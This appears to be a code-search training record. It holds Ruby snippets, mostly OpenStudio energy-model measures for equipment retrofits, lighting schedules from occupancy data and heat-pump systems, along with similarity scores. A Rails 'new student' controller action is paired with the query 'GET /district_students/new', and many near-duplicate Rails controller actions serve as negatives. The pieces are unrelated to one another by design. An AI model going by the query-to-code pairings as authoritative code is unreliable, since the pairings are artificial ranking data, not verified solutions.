"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n retrofit_month = runner.getStringArgumentValue('retrofit_month', user_arguments).to_i\n retrofit_day = runner.getStringArgumentValue('retrofit_day', user_arguments).to_i\n\n # report initial condition of model\n runner.registerInitialCondition(\"Measure started successfully.\")\n\n # TODO: check the month and day for reasonableness\n runner.registerInfo(\"User entered retrofit month: #{retrofit_month}\")\n runner.registerInfo(\"User entered retrofit day: #{retrofit_day}\")\n\n prog_calling_manager = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n prog_calling_manager.setCallingPoint('BeginTimestepBeforePredictor')\n\n # Remove old and add new equip with EMS by spaces\n hash_space_epd = Hash.new\n v_spaces = model.getSpaces\n v_spaces.each do |space|\n current_space_equip = space.electricEquipment[0]\n unless current_space_equip.nil?\n\n # Get equipment power density for each space type\n new_space_epd = runner.getOptionalDoubleArgumentValue(\"new_#{space.name.to_s}_epd\", user_arguments)\n if new_space_epd.is_initialized\n hash_space_epd[\"new_#{space.name.to_s}_epd\"] = new_space_epd\n runner.registerInfo(\"User entered new electric equipment power density for #{space.name.to_s} is #{new_space_epd} W/m2\")\n # Set ems\n current_space_equip_def = current_space_equip.electricEquipmentDefinition\n equip_sch_name = current_space_equip.schedule.get.nameString\n equip_sch_ems_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, 'Schedule Value')\n equip_sch_ems_sensor.setKeyName(equip_sch_name)\n runner.registerInfo(\"Delete old equip object for #{space.name}\")\n current_space_equip.remove\n\n new_equip = add_equip_space(space, current_space_equip_def)\n equip_level_w = new_space_epd.to_f * space.floorArea.to_f\n ems_equip_program = add_equip_ems(model, new_equip, equip_level_w, equip_sch_ems_sensor, retrofit_month, retrofit_day)\n prog_calling_manager.addProgram(ems_equip_program)\n runner.registerInfo(\"Add ems equipment control for #{space.name} succeeded.\")\n else\n # Get equipment power ratio for each space type\n new_space_ratio = runner.getDoubleArgumentValue(\"new_#{space.name.to_s}_ratio\", user_arguments)\n\n old_equip_sch = current_space_equip.schedule.get\n ems_equip_program = add_equip_ems_w_occ_var(model, current_space_equip, old_equip_sch, new_space_ratio, retrofit_month, retrofit_day)\n prog_calling_manager.addProgram(ems_equip_program)\n runner.registerInfo(\"Add ems equipment control for #{space.name} succeeded.\")\n # runner.registerInfo(\"Delete old equip object for #{space.name}\")\n # current_space_equip.remove\n end\n\n end\n end\n\n # Remove old and add new equip with EMS by space types\n hash_space_type_epd = Hash.new\n v_space_types = model.getSpaceTypes\n v_space_types.each do |space_type|\n current_spaces = space_type.spaces\n current_space_type_equip = space_type.electricEquipment[0]\n unless current_space_type_equip.nil?\n # Get equipment power density for each space type\n current_space_type_epd = runner.getStringArgumentValue(\"new_#{space_type.name.to_s}_epd\", user_arguments)\n hash_space_type_epd[\"new_#{space_type.name.to_s}_epd\"] = current_space_type_epd\n runner.registerInfo(\"User entered new electric equipment power density for #{space_type.name.to_s} is #{current_space_type_epd} W/m2\")\n\n # Set ems\n current_space_type_equip_def = current_space_type_equip.electricEquipmentDefinition\n current_space_type_sch_set = space_type.defaultScheduleSet.get\n current_space_type_equip_sch_set = current_space_type_sch_set.electricEquipmentSchedule.get\n\n equip_sch_name = current_space_type_equip_sch_set.nameString\n equip_sch_ems_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, 'Schedule Value')\n equip_sch_ems_sensor.setKeyName(equip_sch_name)\n\n puts \"Delete old equip object for #{space_type.name}\"\n current_space_type_equip.remove\n\n current_spaces.each do |space|\n # Calculate equipemtn electric power for each space\n new_equip = add_equip_space_type(model, space, space_type, current_space_type_equip_def)\n equip_level_w = current_space_type_epd.to_f * space.floorArea.to_f\n ems_equip_program = add_equip_ems(model, new_equip, equip_level_w, equip_sch_ems_sensor, retrofit_month, retrofit_day)\n prog_calling_manager.addProgram(ems_equip_program)\n runner.registerInfo(\"Add ems equipment control for #{space.name} succeeded.\")\n end\n end\n end\n\n # echo the model updates back to the user\n runner.registerInfo(\"The electric equipment retrofit measure is applied.\")\n\n # report final condition of model\n runner.registerFinalCondition(\"Measure ended successfully.\")\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n runner.registerInfo(\"Start to create lighting measure from occupant schedule\")\n\n ### Get user selected lighting space assumptions for each space\n v_space_types = model.getSpaceTypes\n i = 1\n lght_space_type_arg_vals = {}\n # Loop through all space types, group spaces by their types\n v_space_types.each do |space_type|\n # Loop through all spaces of current space type\n v_current_spaces = space_type.spaces\n next if not v_current_spaces.size > 0\n v_current_spaces.each do |current_space|\n lght_space_type_val = runner.getStringArgumentValue(@@v_space_args[current_space.nameString], user_arguments)\n lght_space_type_arg_vals[current_space.nameString] = lght_space_type_val\n i += 1\n end\n end\n\n puts lght_space_type_arg_vals\n\n ### Start creating new lighting schedules based on occupancy schedule\n occ_schedule_dir = runner.getStringArgumentValue('occ_schedule_dir', user_arguments)\n model_temp_run_path = Dir.pwd + '/'\n measure_root_path = File.dirname(__FILE__)\n\n puts '=' * 80\n puts measure_root_path\n\n if File.file?(occ_schedule_dir)\n # Check if user provided a occupancy schedule CSV file\n csv_file = occ_schedule_dir\n puts 'Use user provided occupancy schedule file at: ' + csv_file.to_s\n runner.registerInitialCondition('Location check:' + File.expand_path(\"../..\", measure_root_path))\n # runner.registerInitialCondition('Use user provided occupancy schedule file at: ' + csv_file.to_s)\n else\n # Check if schedule file at several places\n # 1. Default fils path when run with OSW in CLI\n csv_path_lookup_1 = File.expand_path(\"../..\", measure_root_path) + \"/files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"First lookup location: \" + csv_path_lookup_1\n runner.registerInfo(\"First lookup location: \" + csv_path_lookup_1)\n # 2. Default path when run with OpenStudio CLI\n csv_path_lookup_2 = File.expand_path(\"../..\", model_temp_run_path) + \"/files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"Second lookup location: \" + csv_path_lookup_2\n runner.registerInfo(\"Second lookup location: \" + csv_path_lookup_2)\n # 3. Default path when run with OpenStudio GUI\n csv_path_lookup_3 = File.expand_path(\"../../..\", model_temp_run_path) + \"/resources/files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"Third lookup location: \" + csv_path_lookup_3\n runner.registerInfo(\"Third lookup location: \" + csv_path_lookup_3)\n # 4. Generated files folder when run with rspec\n csv_path_lookup_4 = File.expand_path(\"..\", model_temp_run_path) + \"/generated_files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"Forth lookup location: \" + csv_path_lookup_4\n runner.registerInfo(\"Forth lookup location: \" + csv_path_lookup_4)\n # 5. Generated files folder with OpenStudio V2.9.0+\n csv_path_lookup_5 = File.join(File.expand_path(\"../..\", model_temp_run_path), 'generated_files', @@default_occupant_schedule_filename)\n puts '#' * 80\n puts \"Fifth lookup location: \" + csv_path_lookup_5\n runner.registerInfo(\"Fifth lookup location: \" + csv_path_lookup_5)\n\n if File.file?(csv_path_lookup_1)\n csv_file = csv_path_lookup_1\n elsif File.file?(csv_path_lookup_2)\n csv_file = csv_path_lookup_2\n elsif File.file?(csv_path_lookup_3)\n csv_file = csv_path_lookup_3\n elsif File.file?(csv_path_lookup_4)\n csv_file = csv_path_lookup_4 \n elsif File.file?(csv_path_lookup_5)\n csv_file = csv_path_lookup_5\n else\n csv_file = ''\n end\n puts 'Use default occupancy schedule file at: ' + csv_file.to_s\n runner.registerInfo('Use default occupancy schedule file at: ' + csv_file.to_s)\n end\n\n # Get the spaces with occupancy count schedule available\n v_spaces_occ_sch = File.readlines(csv_file)[3].split(',') # Room ID is saved in 4th row of the occ_sch file\n v_headers = Array.new\n v_spaces_occ_sch.each do |space_occ_sch|\n if !['Room ID', 'Outdoor', 'Outside building'].include? space_occ_sch and !space_occ_sch.strip.empty?\n v_headers << space_occ_sch\n end\n end\n v_headers = [\"Time\"] + v_headers\n\n # report initial condition of model\n runner.registerInfo(\"The building has #{v_headers.length - 1} spaces with available occupant schedule file.\")\n\n # Read the occupant count schedule file and clean it\n clean_csv = File.readlines(csv_file).drop(6).join\n csv_table_sch = CSV.parse(clean_csv, headers: true)\n new_csv_table = csv_table_sch.by_col!.delete_if do |column_name, column_values|\n !v_headers.include? column_name\n end\n\n runner.registerInfo(\"Successfully read occupant count schedule from CSV file.\")\n runner.registerInfo(\"Creating new lighting schedules...\")\n\n # Create lighting schedule based on the occupant count schedule\n v_cols = Array.new\n v_ts = new_csv_table.by_col!['Time']\n v_headers.each do |header|\n if header != 'Time'\n space_name = header\n v_occ_n = new_csv_table.by_col![space_name]\n v_light = create_lighting_sch_from_occupancy_count(space_name, v_ts, v_occ_n, @@off_delay)\n v_cols << v_light\n end\n end\n\n runner.registerInfo(\"Writing new lighting schedules to CSV file.\")\n # Write new lighting schedule file to CSV\n file_name_light_sch = \"#{model_temp_run_path}/#{@@lighting_schedule_CSV_name}\"\n vcols_to_csv(v_cols, file_name_light_sch)\n\n # Add new lighting schedule from the CSV file created\n runner.registerInfo(\"Removing old OS:Lights and OS:Lights:Definition for office and conference rooms.\")\n # Remove old lights definition objects for office and conference rooms\n v_space_types.each do |space_type|\n space_type.spaces.each do |space|\n selected_space_type = lght_space_type_arg_vals[space.name.to_s]\n if (@@office_type_names.include? selected_space_type) || (@@conference_room_type_names.include? selected_space_type)\n space_type.lights.each do |lght|\n puts 'Remove old lights definition object: ' + lght.lightsDefinition.name.to_s\n lght.lightsDefinition.remove\n end\n end\n end\n end\n\n # Remove old lights objects for office and conference rooms\n # Caution: the order of deletion matters\n v_space_types.each do |space_type|\n space_type.spaces.each do |space|\n selected_space_type = lght_space_type_arg_vals[space.name.to_s]\n if (@@office_type_names.include? selected_space_type) || (@@conference_room_type_names.include? selected_space_type)\n space_type.lights.each do |lght|\n puts 'Remove old lights object: ' + lght.name.to_s\n lght.remove\n end\n end\n end\n end\n\n puts '---> Create new lighting schedules from CSV.'\n\n runner.registerInfo(\"Adding new OS:Schedule:File objects to the model....\")\n v_spaces = model.getSpaces\n v_spaces.each do |space|\n v_headers.each_with_index do |s_space_name, i|\n if s_space_name == space.name.to_s\n col = i\n temp_file_path = file_name_light_sch\n sch_file_name = space.name.to_s + ' lght sch'\n schedule_file = get_os_schedule_from_csv(model, temp_file_path, sch_file_name, col, skip_row = 1)\n schedule_file.setMinutesperItem(@@minute_per_item.to_s)\n model = add_light(model, space, schedule_file)\n end\n end\n end\n\n # report final condition of model\n runner.registerFinalCondition(\"Finished creating and adding new lighting schedules for #{v_headers.length - 1} spaces.\")\n\n return true\n end",
"def span\n measure\n @span\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # System Type 2: PTHP, Residential\n # This measure creates:\n # a constant volume packaged terminal heat pump unit with DX heating \n # and cooling for each zone in the building\n \n always_on = model.alwaysOnDiscreteSchedule\n\n # Make a PTHP for each zone\n model.getThermalZones.each do |zone|\n \n fan = OpenStudio::Model::FanConstantVolume.new(model,always_on)\n fan.setPressureRise(300)\n\n supplemental_htg_coil = OpenStudio::Model::CoilHeatingElectric.new(model,always_on)\n\n clg_cap_f_of_temp = OpenStudio::Model::CurveBiquadratic.new(model)\n clg_cap_f_of_temp.setCoefficient1Constant(0.942587793)\n clg_cap_f_of_temp.setCoefficient2x(0.009543347)\n clg_cap_f_of_temp.setCoefficient3xPOW2(0.0018423)\n clg_cap_f_of_temp.setCoefficient4y(-0.011042676)\n clg_cap_f_of_temp.setCoefficient5yPOW2(0.000005249)\n clg_cap_f_of_temp.setCoefficient6xTIMESY(-0.000009720)\n clg_cap_f_of_temp.setMinimumValueofx(17.0)\n clg_cap_f_of_temp.setMaximumValueofx(22.0)\n clg_cap_f_of_temp.setMinimumValueofy(13.0)\n clg_cap_f_of_temp.setMaximumValueofy(46.0)\n\n clg_cap_f_of_flow = OpenStudio::Model::CurveQuadratic.new(model)\n clg_cap_f_of_flow.setCoefficient1Constant(0.718954)\n clg_cap_f_of_flow.setCoefficient2x(0.435436)\n clg_cap_f_of_flow.setCoefficient3xPOW2(-0.154193)\n clg_cap_f_of_flow.setMinimumValueofx(0.75)\n clg_cap_f_of_flow.setMaximumValueofx(1.25)\n\n clg_energy_input_ratio_f_of_temp = OpenStudio::Model::CurveBiquadratic.new(model)\n clg_energy_input_ratio_f_of_temp.setCoefficient1Constant(0.342414409)\n clg_energy_input_ratio_f_of_temp.setCoefficient2x(0.034885008)\n clg_energy_input_ratio_f_of_temp.setCoefficient3xPOW2(-0.000623700)\n clg_energy_input_ratio_f_of_temp.setCoefficient4y(0.004977216)\n clg_energy_input_ratio_f_of_temp.setCoefficient5yPOW2(0.000437951)\n clg_energy_input_ratio_f_of_temp.setCoefficient6xTIMESY(-0.000728028)\n clg_energy_input_ratio_f_of_temp.setMinimumValueofx(17.0)\n clg_energy_input_ratio_f_of_temp.setMaximumValueofx(22.0)\n clg_energy_input_ratio_f_of_temp.setMinimumValueofy(13.0)\n clg_energy_input_ratio_f_of_temp.setMaximumValueofy(46.0)\n\n clg_energy_input_ratio_f_of_flow = OpenStudio::Model::CurveQuadratic.new(model)\n clg_energy_input_ratio_f_of_flow.setCoefficient1Constant(1.1552)\n clg_energy_input_ratio_f_of_flow.setCoefficient2x(-0.1808)\n clg_energy_input_ratio_f_of_flow.setCoefficient3xPOW2(0.0256)\n clg_energy_input_ratio_f_of_flow.setMinimumValueofx(0.5)\n clg_energy_input_ratio_f_of_flow.setMaximumValueofx(1.5)\n\n clg_part_load_fraction = OpenStudio::Model::CurveQuadratic.new(model)\n clg_part_load_fraction.setCoefficient1Constant(0.75)\n clg_part_load_fraction.setCoefficient2x(0.25)\n clg_part_load_fraction.setCoefficient3xPOW2(0.0)\n clg_part_load_fraction.setMinimumValueofx(0.0)\n clg_part_load_fraction.setMaximumValueofx(1.0)\n\n clg_coil = OpenStudio::Model::CoilCoolingDXSingleSpeed.new(model,\n always_on,\n clg_cap_f_of_temp,\n clg_cap_f_of_flow,\n clg_energy_input_ratio_f_of_temp,\n clg_energy_input_ratio_f_of_flow,\n clg_part_load_fraction)\n\n htg_cap_f_of_temp = OpenStudio::Model::CurveCubic.new(model)\n htg_cap_f_of_temp.setCoefficient1Constant(0.758746)\n htg_cap_f_of_temp.setCoefficient2x(0.027626)\n htg_cap_f_of_temp.setCoefficient3xPOW2(0.000148716)\n htg_cap_f_of_temp.setCoefficient4xPOW3(0.0000034992)\n htg_cap_f_of_temp.setMinimumValueofx(-20.0)\n htg_cap_f_of_temp.setMaximumValueofx(20.0)\n\n htg_cap_f_of_flow = OpenStudio::Model::CurveCubic.new(model)\n htg_cap_f_of_flow.setCoefficient1Constant(0.84)\n htg_cap_f_of_flow.setCoefficient2x(0.16)\n htg_cap_f_of_flow.setCoefficient3xPOW2(0.0)\n htg_cap_f_of_flow.setCoefficient4xPOW3(0.0)\n htg_cap_f_of_flow.setMinimumValueofx(0.5)\n htg_cap_f_of_flow.setMaximumValueofx(1.5)\n\n htg_energy_input_ratio_f_of_temp = OpenStudio::Model::CurveCubic.new(model)\n htg_energy_input_ratio_f_of_temp.setCoefficient1Constant(1.19248)\n htg_energy_input_ratio_f_of_temp.setCoefficient2x(-0.0300438)\n htg_energy_input_ratio_f_of_temp.setCoefficient3xPOW2(0.00103745)\n htg_energy_input_ratio_f_of_temp.setCoefficient4xPOW3(-0.000023328)\n htg_energy_input_ratio_f_of_temp.setMinimumValueofx(-20.0)\n htg_energy_input_ratio_f_of_temp.setMaximumValueofx(20.0)\n\n htg_energy_input_ratio_f_of_flow = OpenStudio::Model::CurveQuadratic.new(model)\n htg_energy_input_ratio_f_of_flow.setCoefficient1Constant(1.3824)\n htg_energy_input_ratio_f_of_flow.setCoefficient2x(-0.4336)\n htg_energy_input_ratio_f_of_flow.setCoefficient3xPOW2(0.0512)\n htg_energy_input_ratio_f_of_flow.setMinimumValueofx(0.0)\n htg_energy_input_ratio_f_of_flow.setMaximumValueofx(1.0)\n\n htg_part_load_fraction = OpenStudio::Model::CurveQuadratic.new(model)\n htg_part_load_fraction.setCoefficient1Constant(0.75)\n htg_part_load_fraction.setCoefficient2x(0.25)\n htg_part_load_fraction.setCoefficient3xPOW2(0.0)\n htg_part_load_fraction.setMinimumValueofx(0.0)\n htg_part_load_fraction.setMaximumValueofx(1.0)\n\n htg_coil = OpenStudio::Model::CoilHeatingDXSingleSpeed.new( model,\n always_on,\n htg_cap_f_of_temp,\n htg_cap_f_of_flow,\n htg_energy_input_ratio_f_of_temp,\n htg_energy_input_ratio_f_of_flow,\n htg_part_load_fraction ) \n\n pthp = OpenStudio::Model::ZoneHVACPackagedTerminalHeatPump.new(model,\n always_on, \n fan,\n htg_coil,\n clg_coil,\n supplemental_htg_coil)\n\n pthp.setName(\"#{zone.name} PTHP\")\n pthp.addToThermalZone(zone)\n\n end\n\n \n return true\n \n end"
] |
[
"0.79848564",
"0.7639647",
"0.76355976",
"0.7170129",
"0.66926914",
"0.66926914",
"0.66718984",
"0.66311747",
"0.6599127",
"0.65870225",
"0.65324444",
"0.6481582",
"0.6405596",
"0.64028287",
"0.6333309",
"0.6283632",
"0.6283632",
"0.6283632",
"0.6281165",
"0.6269874",
"0.62425435",
"0.62203735",
"0.6198304",
"0.6196627",
"0.6196627",
"0.61319697",
"0.6107745",
"0.60714525",
"0.60513526",
"0.601827",
"0.6008391",
"0.6008391",
"0.60008335",
"0.5976995",
"0.59641606",
"0.5962238",
"0.5958165",
"0.59570605",
"0.59570605",
"0.59439784",
"0.5934565",
"0.5928137",
"0.5920926",
"0.5916211",
"0.59129107",
"0.5911706",
"0.59022516",
"0.5872101",
"0.5865909",
"0.58645797",
"0.5847354",
"0.583844",
"0.58373237",
"0.57887447",
"0.5772885",
"0.57687855",
"0.5756301",
"0.5745138",
"0.5740855",
"0.5723286",
"0.57180965",
"0.5713821",
"0.5698708",
"0.5697907",
"0.56978434",
"0.56891346",
"0.5688938",
"0.5685465",
"0.56740844",
"0.5662743",
"0.5649326",
"0.56483626",
"0.5646554",
"0.56390476",
"0.56390476",
"0.5633756",
"0.56218606",
"0.56218606",
"0.5608723",
"0.5608213",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.559522",
"0.559522",
"0.559522",
"0.55878526",
"0.558349",
"0.55677843",
"0.5567233",
"0.5564496",
"0.55636495",
"0.55590993",
"0.5556679",
"0.5547891"
] |
0.0
|
-1
|
GET /district_students/new GET /district_students/new.xml
|
def new
@student = Student.new
@student.enrollments.build(:end_year => Date.today.year)
respond_to do |format|
format.html # new.html.erb
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @district = District.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @district }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @student_class = StudentClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_class }\n end\n end",
"def new\n @student_correspondence = StudentCorrespondence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_correspondence }\n end\n end",
"def new\n @student_relationship = StudentRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_relationship }\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:success] = t('student.created')\n format.html { redirect_to(students_path) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n flash[:error] = t('default_error_message')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @student = Student.new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = 'Student was successfully created.'\n format.html { redirect_to(students_url) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @school }\n end\n end",
"def new\n @student_publication = StudentPublication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_publication }\n end\n end",
"def new\n @student_referee = StudentReferee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_referee }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @school }\n end\n end",
"def new\n @school = School.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @school }\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @college.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @student_profile = StudentProfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_profile }\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = 'Student was successfully created.'\n format.html { redirect_to(@student) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @student_regedship = StudentRegedship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_regedship }\n end\n end",
"def new\n @student_relation = StudentRelation.new\n @student_relation.build_person\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_relation }\n end\n end",
"def new\n @city = city\n @district = @city.districts.build\n\n respond_to do |format|\n format.html # new.html.erb\n #format.xml { render :xml => @district }\n end\n end",
"def new\n @college = College.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @college }\n end\n end",
"def new\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def create\n @district = District.new(params[:district])\n\n respond_to do |format|\n if @district.save\n flash[:notice] = 'District was successfully created.'\n format.html { redirect_to(@district) }\n format.xml { render :xml => @district, :status => :created, :location => @district }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @district.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @student_noticeship = StudentNoticeship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_noticeship }\n end\n end",
"def new\n\t\t@student = Student.new\n\t\tnew_setup()\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\tend\n end",
"def new\n @dojo_student = DojoStudent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dojo_student }\n end\n end",
"def create\n @student = current_district.students.build(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = \"#{edit_obj_link(@student)} was successfully created.\".html_safe\n format.html { redirect_to(index_url_with_page) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end",
"def new\n @student_howuknowusship = StudentHowuknowusship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_howuknowusship }\n end\n end",
"def new\n @semester = Semester.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @semester }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @normal_example = NormalExample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @normal_example }\n end\n end",
"def new\n @student_graduatedship = StudentGraduatedship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_graduatedship }\n end\n end",
"def new\n @segment = Segment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @segment }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @student }\n end\n end",
"def new\n @sti = Sti.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sti }\n end\n end",
"def new\n @studnet = Studnet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @studnet }\n end\n end",
"def new\n @district = District.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n @student_improveship = StudentImproveship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_improveship }\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Alumno creado con éxito.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inschool }\n end\n end",
"def new\n @job_student = JobStudent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_student }\n end\n end",
"def new\n @dossier = Dossier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dossier }\n end\n end",
"def new\n @semester_subject = SemesterSubject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @semester_subject }\n end\n end",
"def new\n if params[:student_id]\n @student = Student.find(params[:student_id])\n end\n \n if params[:classroom_id]\n @classroom_id = params[:classroom_id]\n end\n \n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lesson }\n end\n end",
"def new\n @student = Student.new\n @other_user = User.find(params[:user][:id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @simperson = Simperson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @simperson }\n end\n end",
"def new\n @state_province = StateProvince.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @state_province }\n end\n end",
"def new\n @student_whylearnship = StudentWhylearnship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_whylearnship }\n end\n end",
"def new\n @staffgrade = Staffgrade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @staffgrade }\n end\n end",
"def new\n @districtclass = Districtclass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @districtclass }\n end\n end",
"def new\n @schooling = Schooling.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @schooling }\n end\n end",
"def new\n @segment_detail = SegmentDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @segment_detail }\n end\n end",
"def create\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
